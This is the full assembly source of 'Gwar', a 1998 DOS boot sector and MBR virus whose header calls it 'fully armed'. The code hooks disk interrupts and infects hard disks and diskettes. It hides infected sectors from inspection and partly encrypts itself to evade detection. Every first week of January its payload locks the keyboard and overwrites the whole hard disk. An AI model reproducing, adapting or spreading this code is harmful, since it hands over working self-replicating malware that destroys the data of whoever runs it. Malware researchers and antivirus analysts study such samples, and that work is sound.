📄 gwar.asm
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;============================================================================
;
; NAME: Gwar-virus [v1.10].
; TYPE: Resident stealth bootsector/MBR infector
; TARGETS: Harddrives, 360k & 1.44M diskettes.
; AUTHOR: T-2000 / Invaders.
; SIZE: 1 sector.
; DATE: February 1998 / May 1998.
;
; !!!!!!!!!! WARNiNG: THiS ViRUS iS FULLY ARMED! !!!!!!!!!!!!!
;
; Tried to put as many as possible in one sector:
;
; - Full stealth on infected bootsectors/MBR's.
; - Payload: message, disk-trashing & screendumping.
; - Hides in interrupt-table.
; - Anti-Debugger trick.
; - Variable encrypting (message + part of virus).
; - Generation counter.
; - Variable store-sector on harddisk (2 - 17).
; - Re-directs writes to boot-area.
;
; This is a very handy virus, because it only 1 sector long. Due the minimal
; length, it can operate very fastly and doesn't consume much disk and
; memory space. It also uses the upper part of the interrup-table to store
; its code, instead of lowering the DOS-memory and put it there. This way
; Windows 95/NT will not complain that a bootvirus may be active. With the
; sector-stealth also, it will almost be hidden to programs, and the human-
; eye. The only way to detect it by eye will be to check the 2nd part of
; the interrupt-table (bytes 512-1024).
;
; PROBLEMS: Since Windows 95/NT are using their own routines to read from
; the harddrive (port-level access), computers infected with
; Gwar will probably crash. Reason for this is that virus cannot
; stealth bootsectors. I have not tested this. I removed a anti-
; tracer trick because QEMM triggered it.
;
; OPTIMIZING: The virus is highly optimised, but can be further done.
; (line using the INT which is located in Int13h). *DONE*
;
; The virus is mostly optimized, but can be more. This isn't
; done because I don't know what to put it instead.
; Further optimisation would make it REAL messy!
; The optimisation could make it look a bit messy.
;
; Many tracers probably cannot trace thru the INT because Gwar uses an
; INT 0FEh to access the old interrupt, and single-step is disabled while
; invoking an interrupt.
;
;
; SPECIAL REMARKS: School Sucks! Fuck 'It!
;
; The virus is not designed to be a good learning source. The main goal was
; to write everything functionally good.
;============================================================================
.MODEL TINY ; Remove these lines when you're
.CODE ; including it in Messev.
ORG 0
Marker_Boot EQU 0104h
Revector EQU 0FEh
Marker_Mem_Gwar EQU 0CDCDh
; == Bootsector entrypoint ==
JMP SHORT Gwar_Start
NOP
; === Data-table of a 1.44M disk. ===
DB 4Dh, 53h, 44h, 4Fh, 53h, 35h
DB 2Eh, 30h, 00h, 02h, 01h, 01h
DB 00h, 02h, 0E0h, 00h, 40h, 0Bh
DB 0F0h, 09h, 00h, 12h, 0h, 02h
DB 00h, 00h, 00h, 00h, 00h, 00h
DB 00h, 00h, 00h, 00h, 00h, 29h
DB 0ECh, 16h, 29h, 18h
DB 'GWAR-VIRUS ' ; Volumelabel.
DB 'FAT12 ' ; Filesystem.
Gwar_Start:
XOR DI, DI
MOV SI, 7C00h
CLI
MOV SS, DI ; Set-up stack.
MOV SP, SI
STI
MOV DS, DI
MOV AX, 20h
MOV ES, AX ; 2nd part interrupt-table.
CLD ; Copy virus to virussegment.
MOV CX, 256
REP MOVSW
MOV AX, OFFSET Relocated
PUSH ES ; Jump to relocated virus
PUSH AX ; in virussegment.
RETF
Relocated: CALL Crypt_Block ; Decrypt code which
; is in front of us.
Encrypted:
MOV AH, 04h ; Get date.
INT 1Ah
CMP DX, 0107h ; First week of January?
JA No_PayLoad ; Not... luck for them!
PayLoad:
IN AL, 21h ; Disable keyboard:
OR AL, 02h ; No warm reboot, gives
OUT 21h, AL ; us some time).
PUSH CS
POP ES
MOV AX, 03h ; Clear screen.
INT 10h
MOV AH, 01h ; Turn-off cursor.
MOV CH, 20h
INT 10h
MOV AX, 1301h ; Display message.
MOV BX, 0CFh
MOV CX, 22
MOV DX, 0D1Dh
MOV BP, OFFSET Message
INT 10h
MOV CX, 01h ; Start with MBR.
Trash_Loop: CMP BYTE PTR DS:[500h], 0 ; PrtScr busy?
JNZ Not_Ready
INT 05h ; Print screen.
Not_Ready: XOR AH, AH ; Reset 1st harddisk.
MOV DL, 80h
INT 13h
MOV AX, 0308h ; This effectively destroys
MOV BX, OFFSET Texts ; all data on the harddisk.
MOV DX, 80h
INT 13h
ADD CX, 8 ; Next 8 sectors.
JMP SHORT Trash_Loop
Texts:
Message DB ' Gwar virus by T-2000 ', 0
Version_Num DB 'v1.10'
No_Payload:
; Hook INT 13h.
CLD
MOV SI, 13h * 4
MOV DI, OFFSET Int13h
CLI
MOVSW
MOVSW
MOV WORD PTR DS:[13h * 4], OFFSET NewInt13h
MOV WORD PTR DS:[13h * 4 + 2], CS
STI
PUSH DS
POP ES
PUSH CS
POP DS
End_Encrypted:
CALL Crypt_Block ; Re-encrypt block.
MOV AX, 0201h ; Read bootsector of 1st
MOV BX, 7C00h ; harddrive via INT 13h,
MOV CX, 01h ; so virus will infect it.
MOV DX, 80h
INT 13h
MOV AX, 0201h ; Load old bootsector.
MOV CX, 0
ORG $-2
Stored_TS DW 000Fh
MOV DX, 0
ORG $-2
Stored_HD DW 0100h
INT Revector
PUSH ES ; Handle control over to
PUSH BX ; original bootsector.
RETF
NewInt13h:
CMP AX, Marker_Mem_Gwar
JNE No_Res_Check
NOT AX
IRET
No_Res_Check:
CMP AH, 02h ; Doing a read?
JE Check_Params
CMP AH, 03h ; Write?
JNE JMP_Exit_Int
Check_Params: OR DH, DH ; Head 0?
JNZ JMP_Exit_Int
CMP CX, 01h ; Bootsector/MBR?
JNE JMP_Exit_Int
INT Revector ; Execute function.
JC Exit ; Exit if error occurred.
CALL Reading_Boot ; Infect it when clean.
Exit: RETF 2 ; Return to caller.
JMP_Exit_Int: JMP DWORD PTR CS:[Int13h]
Reading_Boot:
PUSHF ; Save registers & flags.
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH DS
PUSH ES
PUSH CS
POP DS
IN AL, 21h ; Disable keyboard.
OR AL, 02h
OUT 21h, AL
MOV AX, Stored_TS
PUSH AX
MOV AX, Stored_HD
PUSH AX
CMP WORD PTR ES:[BX+Signature], Marker_Boot
JNE Infect_Diskette
; At this point we got a infected bootsector in
; the caller's buffer, so we need to re-read the
; original one stored elsewhere on disk.
MOV AX, 0201h
MOV CX, ES:[BX+Stored_TS]
MOV DX, ES:[BX+Stored_HD]
INT Revector
JMP SHORT Exit_Int13h
Infect_Diskette:
CMP DL, 80h ; Is it a harddrive?
JB Init_Diskette ; No, then init diskette.
IN AX, 40h ; Get random value.
XOR AL, AH
AND AL, 00001111b ; Between 0 & 15.
XOR AH, AH
INC AX ; Must be above 1.
INC AX
XCHG CX, AX
XOR DH, DH
JMP SHORT Init_Disk
Init_Diskette:
MOV DH, 01h ; Head 1.
XOR CH, CH
CMP BYTE PTR ES:[BX+15h], 0FDh ; 360k
JNE Check_144M
MOV CL, 03h ; Last sector root-dir.
JMP SHORT Init_Disk
Check_144M:
CMP BYTE PTR ES:[BX+15h], 0F0h ; HD-diskette?
JNE Exit_Int13h ; Bail-out when not.
MOV CL, 0Fh ; Last sector root-dir.
Init_Disk:
MOV Stored_TS, CX ; Location of original
MOV Stored_HD, DX ; bootsector on disk.
XOR AH, AH ; Reset disk.
INT Revector
MOV AX, 0301h ; Store old bootsector.
INT Revector
JC Exit_Int13h
CALL Crypt_Block ; Decrypt block.
IN AL, 40h ; Get another key.
MOV Key, AL
CALL Crypt_Block ; Encrypt back on with
; other key.
PUSH ES
POP DS
PUSH CS
POP ES
CLD ; Copy datablock into virus
MOV SI, BX ; bootsector.
MOV DI, 3
ADD SI, DI
MOV CX, 29
REP MOVSW
PUSH CS
POP DS
MOV AX, 0 ; Generation counter.
ORG $-2
Generation DW 0 ; 16-Bit generation counter.
INC AX
JZ No_Update ; Don't update when overflow.
MOV Generation, AX
No_Update: MOV AX, 0301h ; Write infected bootsector.
XOR BX, BX
MOV CX, 01h
XOR DH, DH
INT Revector
Exit_Int13h:
POP AX
MOV Stored_HD, AX
POP AX
MOV Stored_TS, AX
IN AL, 21h ; Return their keyboard.
AND AL, NOT 02h
OUT 21h, AL
POP ES ; Restore registers & flags.
POP DS
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
POPF
RETN
; === XOR message + part of virus. ===
Crypt_Block:
MOV SI, OFFSET Encrypted
MOV CX, (OFFSET End_Encrypted - OFFSET Encrypted)
Crypt_Byte:
XOR BYTE PTR CS:[SI], 0
ORG $-1
Key DB 0 ; 8-Bit encryption-key for install.
INC SI
LOOP Crypt_Byte
RETN
;ORG 504 ;
Int13h DW 0, 0 ; Old INT 13h address.
Signature DW Marker_Boot ; Already-infected-marker.
DW 0AA55h ; Bootable disk signature.
END ; Remove dis 4 inclusion in Messev.
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